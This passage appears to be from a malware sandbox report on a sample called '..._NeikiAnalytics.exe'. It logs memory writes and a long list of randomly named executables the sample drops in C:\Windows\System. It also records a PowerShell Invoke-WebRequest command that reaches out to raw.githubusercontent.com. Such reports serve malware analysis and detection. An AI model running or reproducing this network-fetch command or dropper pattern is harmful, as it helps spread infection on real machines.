PID 1804 wrote to memory of 2668	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\aOaJeiz.exe
PID 1804 wrote to memory of 2668	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\aOaJeiz.exe
PID 1804 wrote to memory of 2760	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\ljXPvrE.exe
PID 1804 wrote to memory of 2760	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\ljXPvrE.exe
PID 1804 wrote to memory of 2760	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\ljXPvrE.exe
PID 1804 wrote to memory of 2712	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\TmZOcPq.exe
PID 1804 wrote to memory of 2712	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\TmZOcPq.exe
PID 1804 wrote to memory of 2712	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\TmZOcPq.exe
PID 1804 wrote to memory of 2756	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\QXsSNXe.exe
PID 1804 wrote to memory of 2756	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\QXsSNXe.exe
PID 1804 wrote to memory of 2756	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\QXsSNXe.exe
PID 1804 wrote to memory of 2372	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\zQjXjzJ.exe
PID 1804 wrote to memory of 2372	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\zQjXjzJ.exe
PID 1804 wrote to memory of 2372	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\zQjXjzJ.exe
PID 1804 wrote to memory of 2056	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\KQVKgAD.exe
PID 1804 wrote to memory of 2056	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\KQVKgAD.exe
PID 1804 wrote to memory of 2056	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\KQVKgAD.exe
PID 1804 wrote to memory of 2932	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\xwRDZSE.exe
PID 1804 wrote to memory of 2932	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\xwRDZSE.exe
PID 1804 wrote to memory of 2932	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\xwRDZSE.exe
PID 1804 wrote to memory of 2624	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\VZIfjdG.exe
PID 1804 wrote to memory of 2624	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\VZIfjdG.exe
PID 1804 wrote to memory of 2624	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\VZIfjdG.exe
PID 1804 wrote to memory of 2508	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\wNwKqPH.exe
PID 1804 wrote to memory of 2508	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\wNwKqPH.exe
PID 1804 wrote to memory of 2508	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\wNwKqPH.exe
PID 1804 wrote to memory of 2556	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\yLBhEGN.exe
PID 1804 wrote to memory of 2556	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\yLBhEGN.exe
PID 1804 wrote to memory of 2556	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\yLBhEGN.exe
PID 1804 wrote to memory of 2212	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\euRRlEq.exe
PID 1804 wrote to memory of 2212	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\euRRlEq.exe
PID 1804 wrote to memory of 2212	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\euRRlEq.exe
PID 1804 wrote to memory of 2564	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\PqcGTyJ.exe
PID 1804 wrote to memory of 2564	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\PqcGTyJ.exe
PID 1804 wrote to memory of 2564	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\PqcGTyJ.exe
PID 1804 wrote to memory of 2208	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\oLNlKVM.exe
PID 1804 wrote to memory of 2208	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\oLNlKVM.exe
PID 1804 wrote to memory of 2208	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\oLNlKVM.exe
PID 1804 wrote to memory of 1688	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\MHRoCYA.exe
PID 1804 wrote to memory of 1688	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\MHRoCYA.exe
PID 1804 wrote to memory of 1688	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\MHRoCYA.exe
PID 1804 wrote to memory of 1808	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\dbHdvXn.exe
PID 1804 wrote to memory of 1808	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\dbHdvXn.exe
PID 1804 wrote to memory of 1808	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\dbHdvXn.exe
PID 1804 wrote to memory of 1252	N/A	C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe	C:\Windows\System\CsUYpYN.exe

Processes

C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe

"C:\Users\Admin\AppData\Local\Temp\8b94a1405df3efc547948315ae7926d0_NeikiAnalytics.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "

C:\Windows\System\HsSsHuQ.exe

C:\Windows\System\HsSsHuQ.exe

C:\Windows\System\lEynPLz.exe

C:\Windows\System\lEynPLz.exe

C:\Windows\System\HrfYQpf.exe

C:\Windows\System\HrfYQpf.exe

C:\Windows\System\ryItSpg.exe

C:\Windows\System\ryItSpg.exe

C:\Windows\System\YRBbaKo.exe

C:\Windows\System\YRBbaKo.exe

C:\Windows\System\aOaJeiz.exe

C:\Windows\System\aOaJeiz.exe

C:\Windows\System\ljXPvrE.exe

C:\Windows\System\ljXPvrE.exe

C:\Windows\System\TmZOcPq.exe

C:\Windows\System\TmZOcPq.exe

C:\Windows\System\QXsSNXe.exe

C:\Windows\System\QXsSNXe.exe

C:\Windows\System\zQjXjzJ.exe

C:\Windows\System\zQjXjzJ.exe

C:\Windows\System\KQVKgAD.exe

C:\Windows\System\KQVKgAD.exe

C:\Windows\System\xwRDZSE.exe

C:\Windows\System\xwRDZSE.exe

C:\Windows\System\VZIfjdG.exe

C:\Windows\System\VZIfjdG.exe

C:\Windows\System\wNwKqPH.exe

C:\Windows\System\wNwKqPH.exe

C:\Windows\System\yLBhEGN.exe

C:\Windows\System\yLBhEGN.exe

C:\Windows\System\euRRlEq.exe

C:\Windows\System\euRRlEq.exe

C:\Windows\System\PqcGTyJ.exe

C:\Windows\System\PqcGTyJ.exe

C:\Windows\System\oLNlKVM.exe

C:\Windows\System\oLNlKVM.exe

C:\Windows\System\MHRoCYA.exe

C:\Windows\System\MHRoCYA.exe

C:\Windows\System\dbHdvXn.exe

C:\Windows\System\dbHdvXn.exe

C:\Windows\System\CsUYpYN.exe

C:\Windows\System\CsUYpYN.exe

C:\Windows\System\zpZOfFF.exe

C:\Windows\System\zpZOfFF.exe

C:\Windows\System\ZdiEpvC.exe

C:\Windows\System\ZdiEpvC.exe

C:\Windows\System\OuRuuDG.exe

C:\Windows\System\OuRuuDG.exe

C:\Windows\System\dKOQUST.exe

C:\Windows\System\dKOQUST.exe

C:\Windows\System\NlDDcSc.exe

C:\Windows\System\NlDDcSc.exe

C:\Windows\System\plWscbD.exe

C:\Windows\System\plWscbD.exe

C:\Windows\System\cqlhjxD.exe

C:\Windows\System\cqlhjxD.exe

C:\Windows\System\wznJsDE.exe

C:\Windows\System\wznJsDE.exe

C:\Windows\System\NsYkqyD.exe

C:\Windows\System\NsYkqyD.exe

C:\Windows\System\Gytcwxd.exe

C:\Windows\System\Gytcwxd.exe

C:\Windows\System\GTcytll.exe

C:\Windows\System\GTcytll.exe

C:\Windows\System\zlJSWvU.exe

C:\Windows\System\zlJSWvU.exe

C:\Windows\System\SuXQIvS.exe

C:\Windows\System\SuXQIvS.exe

C:\Windows\System\fiIDXbI.exe

C:\Windows\System\fiIDXbI.exe

C:\Windows\System\NGgrNsV.exe

C:\Windows\System\NGgrNsV.exe

C:\Windows\System\dWCsuYk.exe

C:\Windows\System\dWCsuYk.exe

C:\Windows\System\ToKQPwV.exe

C:\Windows\System\ToKQPwV.exe

C:\Windows\System\uJwpwkb.exe

C:\Windows\System\uJwpwkb.exe

C:\Windows\System\ElIpcJA.exe

C:\Windows\System\ElIpcJA.exe

C:\Windows\System\fSiYnSW.exe

C:\Windows\System\fSiYnSW.exe

C:\Windows\System\PXcmSUA.exe

C:\Windows\System\PXcmSUA.exe

C:\Windows\System\JgTFkCF.exe

C:\Windows\System\JgTFkCF.exe

C:\Windows\System\xWNJKCb.exe

C:\Windows\System\xWNJKCb.exe

C:\Windows\System\HztUGxG.exe

C:\Windows\System\HztUGxG.exe

C:\Windows\System\vnSKWrs.exe

C:\Windows\System\vnSKWrs.exe

C:\Windows\System\JKUXbmL.exe

C:\Windows\System\JKUXbmL.exe

C:\Windows\System\zmnRLYK.exe

C:\Windows\System\zmnRLYK.exe

C:\Windows\System\rqRRbTy.exe

C:\Windows\System\rqRRbTy.exe

C:\Windows\System\zAzZNtA.exe

C:\Windows\System\zAzZNtA.exe

C:\Windows\System\aOATpWH.exe

C:\Windows\System\aOATpWH.exe

C:\Windows\System\YracEXP.exe

C:\Windows\System\YracEXP.exe

C:\Windows\System\QyySTYO.exe

C:\Windows\System\QyySTYO.exe

C:\Windows\System\ArLGWGs.exe

C:\Windows\System\ArLGWGs.exe

C:\Windows\System\rIHsAmk.exe

C:\Windows\System\rIHsAmk.exe

C:\Windows\System\xYWMhtN.exe

C:\Windows\System\xYWMhtN.exe

C:\Windows\System\XFBXPZM.exe

C:\Windows\System\XFBXPZM.exe

C:\Windows\System\GMMCMMH.exe

C:\Windows\System\GMMCMMH.exe

C:\Windows\System\XZAWamx.exe

C:\Windows\System\XZAWamx.exe

C:\Windows\System\aNFUgWm.exe

C:\Windows\System\aNFUgWm.exe

C:\Windows\System\EVVtmfE.exe

C:\Windows\System\EVVtmfE.exe

C:\Windows\System\BYpDIcb.exe

C:\Windows\System\BYpDIcb.exe

C:\Windows\System\VIWvsgh.exe

C:\Windows\System\VIWvsgh.exe

C:\Windows\System\TsvbRSp.exe

C:\Windows\System\TsvbRSp.exe

C:\Windows\System\FBdAQwc.exe

C:\Windows\System\FBdAQwc.exe

C:\Windows\System\bYIQzbP.exe

C:\Windows\System\bYIQzbP.exe

C:\Windows\System\bpdtlts.exe

C:\Windows\System\bpdtlts.exe

C:\Windows\System\ByOGLHu.exe

C:\Windows\System\ByOGLHu.exe

C:\Windows\System\yGKXPzK.exe

C:\Windows\System\yGKXPzK.exe

C:\Windows\System\WWLjEdq.exe

C:\Windows\System\WWLjEdq.exe

C:\Windows\System\JdjnEHP.exe

C:\Windows\System\JdjnEHP.exe

C:\Windows\System\AielFqz.exe

C:\Windows\System\AielFqz.exe

C:\Windows\System\lKndrNg.exe

C:\Windows\System\lKndrNg.exe

C:\Windows\System\ZjrNQzP.exe

C:\Windows\System\ZjrNQzP.exe

C:\Windows\System\qzdZycZ.exe

C:\Windows\System\qzdZycZ.exe

C:\Windows\System\KHVMyRN.exe

C:\Windows\System\KHVMyRN.exe

C:\Windows\System\ieGNHtl.exe

C:\Windows\System\ieGNHtl.exe

C:\Windows\System\FCbGXQf.exe

C:\Windows\System\FCbGXQf.exe

C:\Windows\System\EWGObIk.exe

C:\Windows\System\EWGObIk.exe

C:\Windows\System\dcGFBli.exe

C:\Windows\System\dcGFBli.exe

C:\Windows\System\XXKlSmu.exe

C:\Windows\System\XXKlSmu.exe

C:\Windows\System\XPYndTk.exe

C:\Windows\System\XPYndTk.exe

C:\Windows\System\HEOjBXL.exe

C:\Windows\System\HEOjBXL.exe

C:\Windows\System\LQpjrIZ.exe

C:\Windows\System\LQpjrIZ.exe

C:\Windows\System\MZVLoRq.exe

C:\Windows\System\MZVLoRq.exe

C:\Windows\System\RpljvpK.exe

C:\Windows\System\RpljvpK.exe

C:\Windows\System\cEaRoqk.exe

C:\Windows\System\cEaRoqk.exe

C:\Windows\System\bezxSjG.exe

C:\Windows\System\bezxSjG.exe

C:\Windows\System\WLMnMaU.exe

C:\Windows\System\WLMnMaU.exe

C:\Windows\System\NGNWWwP.exe

C:\Windows\System\NGNWWwP.exe

C:\Windows\System\uWggrvG.exe

C:\Windows\System\uWggrvG.exe

C:\Windows\System\AAVPRve.exe

C:\Windows\System\AAVPRve.exe

C:\Windows\System\WdirEJO.exe

C:\Windows\System\WdirEJO.exe

C:\Windows\System\KSLYSdq.exe

C:\Windows\System\KSLYSdq.exe

C:\Windows\System\WhFgEMW.exe

C:\Windows\System\WhFgEMW.exe

C:\Windows\System\EdxJLbk.exe

C:\Windows\System\EdxJLbk.exe

C:\Windows\System\UoMPneB.exe

C:\Windows\System\UoMPneB.exe

C:\Windows\System\sVdTcbw.exe

C:\Windows\System\sVdTcbw.exe

C:\Windows\System\LsiGxAq.exe

C:\Windows\System\LsiGxAq.exe

C:\Windows\System\HUZFqXE.exe

C:\Windows\System\HUZFqXE.exe

C:\Windows\System\BFBwtwe.exe

C:\Windows\System\BFBwtwe.exe

C:\Windows\System\meuvReM.exe

C:\Windows\System\meuvReM.exe

C:\Windows\System\UjSgfix.exe

C:\Windows\System\UjSgfix.exe

C:\Windows\System\plmHGYa.exe

C:\Windows\System\plmHGYa.exe

C:\Windows\System\lqmJnSA.exe

C:\Windows\System\lqmJnSA.exe

C:\Windows\System\gLzQKWm.exe

C:\Windows\System\gLzQKWm.exe

C:\Windows\System\LFNwFuX.exe

C:\Windows\System\LFNwFuX.exe

C:\Windows\System\LDPBtjy.exe

C:\Windows\System\LDPBtjy.exe

C:\Windows\System\AQbwsqq.exe

C:\Windows\System\AQbwsqq.exe

C:\Windows\System\VVjtqFn.exe

C:\Windows\System\VVjtqFn.exe

C:\Windows\System\qfIxyQr.exe

C:\Windows\System\qfIxyQr.exe

C:\Windows\System\TPyFaMx.exe

C:\Windows\System\TPyFaMx.exe

C:\Windows\System\XqjeGfl.exe

C:\Windows\System\XqjeGfl.exe

C:\Windows\System\akDhhXa.exe

C:\Windows\System\akDhhXa.exe

C:\Windows\System\mnuMhSX.exe

C:\Windows\System\mnuMhSX.exe

C:\Windows\System\qDwgsUe.exe

C:\Windows\System\qDwgsUe.exe

C:\Windows\System\MBNBdcG.exe

C:\Windows\System\MBNBdcG.exe

C:\Windows\System\NhONhet.exe

C:\Windows\System\NhONhet.exe

C:\Windows\System\sAgEBaw.exe

C:\Windows\System\sAgEBaw.exe

C:\Windows\System\yEMySJv.exe

C:\Windows\System\yEMySJv.exe

C:\Windows\System\xrRBcGT.exe

C:\Windows\System\xrRBcGT.exe

C:\Windows\System\YqptVkG.exe

C:\Windows\System\YqptVkG.exe

C:\Windows\System\zMJDjEz.exe

C:\Windows\System\zMJDjEz.exe

C:\Windows\System\bfnhQVw.exe

C:\Windows\System\bfnhQVw.exe

C:\Windows\System\CrFtnKU.exe

C:\Windows\System\CrFtnKU.exe

C:\Windows\System\zXuGmlM.exe

C:\Windows\System\zXuGmlM.exe

C:\Windows\System\wNVwQjL.exe

C:\Windows\System\wNVwQjL.exe

C:\Windows\System\sQGSvLn.exe

C:\Windows\System\sQGSvLn.exe

C:\Windows\System\FXsWGfO.exe

C:\Windows\System\FXsWGfO.exe

C:\Windows\System\pvCKAUT.exe

C:\Windows\System\pvCKAUT.exe

C:\Windows\System\DfwjULE.exe

C:\Windows\System\DfwjULE.exe

C:\Windows\System\JrySguq.exe

C:\Windows\System\JrySguq.exe

C:\Windows\System\kHAbutn.exe

C:\Windows\System\kHAbutn.exe

C:\Windows\System\TTfjOYj.exe

C:\Windows\System\TTfjOYj.exe

C:\Windows\System\vQBSVPH.exe

C:\Windows\System\vQBSVPH.exe

C:\Windows\System\oBQSwWq.exe

C:\Windows\System\oBQSwWq.exe

C:\Windows\System\UjFicDU.exe

C:\Windows\System\UjFicDU.exe

C:\Windows\System\ztIIvHg.exe

C:\Windows\System\ztIIvHg.exe

C:\Windows\System\GuVGCfO.exe

C:\Windows\System\GuVGCfO.exe

C:\Windows\System\FFVULhH.exe

C:\Windows\System\FFVULhH.exe

C:\Windows\System\CmRPWgO.exe

C:\Windows\System\CmRPWgO.exe

C:\Windows\System\ghiABcZ.exe

C:\Windows\System\ghiABcZ.exe

C:\Windows\System\TiapqRB.exe

C:\Windows\System\TiapqRB.exe

C:\Windows\System\rSLVzoY.exe

C:\Windows\System\rSLVzoY.exe

C:\Windows\System\aKgbkJt.exe

C:\Windows\System\aKgbkJt.exe

C:\Windows\System\qzQhilY.exe

C:\Windows\System\qzQhilY.exe

C:\Windows\System\CwsLJcU.exe

C:\Windows\System\CwsLJcU.exe

C:\Windows\System\oEvtbGN.exe

C:\Windows\System\oEvtbGN.exe

C:\Windows\System\GSfDJQW.exe

C:\Windows\System\GSfDJQW.exe

C:\Windows\System\FHMnmgv.exe

C:\Windows\System\FHMnmgv.exe

C:\Windows\System\GMoMfMi.exe

C:\Windows\System\GMoMfMi.exe

C:\Windows\System\FqiKdgW.exe

C:\Windows\System\FqiKdgW.exe

C:\Windows\System\gFeRwpK.exe

C:\Windows\System\gFeRwpK.exe

C:\Windows\System\iKYetrO.exe

C:\Windows\System\iKYetrO.exe

C:\Windows\System\ATLSbAA.exe

C:\Windows\System\ATLSbAA.exe

C:\Windows\System\mSMDgEu.exe

C:\Windows\System\mSMDgEu.exe

C:\Windows\System\ELKhTRH.exe

C:\Windows\System\ELKhTRH.exe

C:\Windows\System\lvVCZAd.exe

C:\Windows\System\lvVCZAd.exe

C:\Windows\System\ANDLYyc.exe

C:\Windows\System\ANDLYyc.exe

C:\Windows\System\nLbBQyh.exe

C:\Windows\System\nLbBQyh.exe

C:\Windows\System\fNSTxcT.exe

C:\Windows\System\fNSTxcT.exe

C:\Windows\System\CUoYTJF.exe

C:\Windows\System\CUoYTJF.exe

C:\Windows\System\ruGDduE.exe

C:\Windows\System\ruGDduE.exe

C:\Windows\System\uQlODpR.exe

C:\Windows\System\uQlODpR.exe

C:\Windows\System\xoGJPNP.exe

C:\Windows\System\xoGJPNP.exe

C:\Windows\System\WOKxjNJ.exe

C:\Windows\System\WOKxjNJ.exe

C:\Windows\System\XLqOVkU.exe

C:\Windows\System\XLqOVkU.exe

C:\Windows\System\CAEZqlL.exe

C:\Windows\System\CAEZqlL.exe

C:\Windows\System\mweKLBW.exe

C:\Windows\System\mweKLBW.exe

C:\Windows\System\sfuHMCe.exe

C:\Windows\System\sfuHMCe.exe

C:\Windows\System\BxldEff.exe

C:\Windows\System\BxldEff.exe

C:\Windows\System\zNfQYpO.exe

C:\Windows\System\zNfQYpO.exe

C:\Windows\System\VQLYXxJ.exe

C:\Windows\System\VQLYXxJ.exe

C:\Windows\System\WtzWxsg.exe

C:\Windows\System\WtzWxsg.exe

C:\Windows\System\MufWFdo.exe

C:\Windows\System\MufWFdo.exe

C:\Windows\System\IyWZfxv.exe

C:\Windows\System\IyWZfxv.exe

C:\Windows\System\xHYBAaU.exe

C:\Windows\System\xHYBAaU.exe

C:\Windows\System\dcvWrGf.exe

C:\Windows\System\dcvWrGf.exe

C:\Windows\System\doYLGMe.exe

C:\Windows\System\doYLGMe.exe

C:\Windows\System\yCFSIpy.exe

C:\Windows\System\yCFSIpy.exe

C:\Windows\System\YfOppBK.exe

C:\Windows\System\YfOppBK.exe

C:\Windows\System\ZqtypVn.exe

C:\Windows\System\ZqtypVn.exe

C:\Windows\System\HNYPKeN.exe

C:\Windows\System\HNYPKeN.exe

C:\Windows\System\cQkMWoQ.exe

C:\Windows\System\cQkMWoQ.exe

C:\Windows\System\Miwquws.exe

C:\Windows\System\Miwquws.exe

C:\Windows\System\jgrCnGn.exe

C:\Windows\System\jgrCnGn.exe

C:\Windows\System\XiWRjwI.exe

C:\Windows\System\XiWRjwI.exe

C:\Windows\System\bGzRVUW.exe

C:\Windows\System\bGzRVUW.exe

C:\Windows\System\cIZSzeP.exe

C:\Windows\System\cIZSzeP.exe

C:\Windows\System\PVCUMRK.exe

C:\Windows\System\PVCUMRK.exe

C:\Windows\System\VxHspFh.exe

C:\Windows\System\VxHspFh.exe

C:\Windows\System\YgTubJF.exe

C:\Windows\System\YgTubJF.exe

C:\Windows\System\jiWjvNk.exe

C:\Windows\System\jiWjvNk.exe

C:\Windows\System\bNeNgTW.exe

C:\Windows\System\bNeNgTW.exe

C:\Windows\System\zIMBheC.exe

C:\Windows\System\zIMBheC.exe

C:\Windows\System\sJSEhEP.exe

C:\Windows\System\sJSEhEP.exe

C:\Windows\System\mkTQqdk.exe

C:\Windows\System\mkTQqdk.exe

C:\Windows\System\DFvWNWY.exe

C:\Windows\System\DFvWNWY.exe

C:\Windows\System\stnLlTA.exe

C:\Windows\System\stnLlTA.exe

C:\Windows\System\VQvStXd.exe

C:\Windows\System\VQvStXd.exe

C:\Windows\System\ptuZyoh.exe

C:\Windows\System\ptuZyoh.exe

C:\Windows\System\CXKjQiJ.exe

C:\Windows\System\CXKjQiJ.exe

C:\Windows\System\agLeATm.exe

C:\Windows\System\agLeATm.exe

C:\Windows\System\RcLOUfO.exe

C:\Windows\System\RcLOUfO.exe

C:\Windows\System\bSBdTsf.exe

C:\Windows\System\bSBdTsf.exe

C:\Windows\System\CubMPIs.exe

C:\Windows\System\CubMPIs.exe

C:\Windows\System\hENrBmG.exe

C:\Windows\System\hENrBmG.exe

C:\Windows\System\qAOubMa.exe

C:\Windows\System\qAOubMa.exe

C:\Windows\System\DCoIecJ.exe

C:\Windows\System\DCoIecJ.exe

C:\Windows\System\CjRopWC.exe

C:\Windows\System\CjRopWC.exe

C:\Windows\System\yVzsQPJ.exe

C:\Windows\System\yVzsQPJ.exe

C:\Windows\System\PZLEPHB.exe

C:\Windows\System\PZLEPHB.exe

C:\Windows\System\guefZEC.exe

C:\Windows\System\guefZEC.exe

C:\Windows\System\LyOqyTu.exe

C:\Windows\System\LyOqyTu.exe

C:\Windows\System\OfSWSGJ.exe

C:\Windows\System\OfSWSGJ.exe

C:\Windows\System\feGGOHY.exe

C:\Windows\System\feGGOHY.exe

C:\Windows\System\VtPhHtV.exe

C:\Windows\System\VtPhHtV.exe

C:\Windows\System\WioDngv.exe

C:\Windows\System\WioDngv.exe

C:\Windows\System\zzTwqug.exe

C:\Windows\System\zzTwqug.exe

C:\Windows\System\STCardc.exe

C:\Windows\System\STCardc.exe

C:\Windows\System\CAzDzic.exe

C:\Windows\System\CAzDzic.exe

C:\Windows\System\iNTHNim.exe

C:\Windows\System\iNTHNim.exe

C:\Windows\System\AgRQxoS.exe

C:\Windows\System\AgRQxoS.exe

C:\Windows\System\ZAetnzC.exe

C:\Windows\System\ZAetnzC.exe

C:\Windows\System\tjMZyKC.exe

C:\Windows\System\tjMZyKC.exe

C:\Windows\System\QzYpjxZ.exe

C:\Windows\System\QzYpjxZ.exe

C:\Windows\System\XjirfaM.exe

C:\Windows\System\XjirfaM.exe

C:\Windows\System\HKBVEnC.exe

C:\Windows\System\HKBVEnC.exe

C:\Windows\System\hGTubwv.exe

C:\Windows\System\hGTubwv.exe

C:\Windows\System\JUFxeqz.exe

C:\Windows\System\JUFxeqz.exe

C:\Windows\System\pVtWohP.exe

C:\Windows\System\pVtWohP.exe

C:\Windows\System\vmQgNQs.exe

C:\Windows\System\vmQgNQs.exe

C:\Windows\System\kPQwTAe.exe

C:\Windows\System\kPQwTAe.exe

C:\Windows\System\djbbUru.exe

C:\Windows\System\djbbUru.exe

C:\Windows\System\rlJWBCT.exe

C:\Windows\System\rlJWBCT.exe

C:\Windows\System\NdPijVM.exe

C:\Windows\System\NdPijVM.exe

C:\Windows\System\GkjtlSf.exe

C:\Windows\System\GkjtlSf.exe

C:\Windows\System\dXGyZit.exe

C:\Windows\System\dXGyZit.exe

C:\Windows\System\ZPuxgdH.exe

C:\Windows\System\ZPuxgdH.exe

C:\Windows\System\ZCofHZt.exe

C:\Windows\System\ZCofHZt.exe

C:\Windows\System\RKgTHYw.exe

C:\Windows\System\RKgTHYw.exe

C:\Windows\System\UbcnXDj.exe

C:\Windows\System\UbcnXDj.exe

C:\Windows\System\UQYWKzU.exe

C:\Windows\System\UQYWKzU.exe

C:\Windows\System\IVdrcWf.exe

C:\Windows\System\IVdrcWf.exe

C:\Windows\System\YVMCIpZ.exe

C:\Windows\System\YVMCIpZ.exe

C:\Windows\System\WLXiIUG.exe

C:\Windows\System\WLXiIUG.exe

C:\Windows\System\MAbQriz.exe

C:\Windows\System\MAbQriz.exe

C:\Windows\System\OsxYkvU.exe

C:\Windows\System\OsxYkvU.exe

C:\Windows\System\SLOCMsK.exe

C:\Windows\System\SLOCMsK.exe

C:\Windows\System\tmNrchg.exe

C:\Windows\System\tmNrchg.exe

C:\Windows\System\bgpTtyI.exe

C:\Windows\System\bgpTtyI.exe

C:\Windows\System\UcTbuSC.exe

C:\Windows\System\UcTbuSC.exe

C:\Windows\System\BpXfYIh.exe

C:\Windows\System\BpXfYIh.exe

C:\Windows\System\NDdVKlC.exe

C:\Windows\System\NDdVKlC.exe

C:\Windows\System\cWEHlLs.exe

C:\Windows\System\cWEHlLs.exe

C:\Windows\System\dHczZZh.exe

C:\Windows\System\dHczZZh.exe

C:\Windows\System\IvnfZCI.exe

C:\Windows\System\IvnfZCI.exe

C:\Windows\System\KAuIdvM.exe

C:\Windows\System\KAuIdvM.exe

C:\Windows\System\UJFYUzM.exe

C:\Windows\System\UJFYUzM.exe

C:\Windows\System\slthGSx.exe

C:\Windows\System\slthGSx.exe

C:\Windows\System\Ikretzn.exe

C:\Windows\System\Ikretzn.exe

C:\Windows\System\AyagPTW.exe

C:\Windows\System\AyagPTW.exe

C:\Windows\System\eIcXGzO.exe

C:\Windows\System\eIcXGzO.exe

C:\Windows\System\qzzcpKb.exe

C:\Windows\System\qzzcpKb.exe

C:\Windows\System\ZCirURH.exe

C:\Windows\System\ZCirURH.exe

C:\Windows\System\ZktDzOI.exe

C:\Windows\System\ZktDzOI.exe

C:\Windows\System\LeGAgBF.exe

C:\Windows\System\LeGAgBF.exe

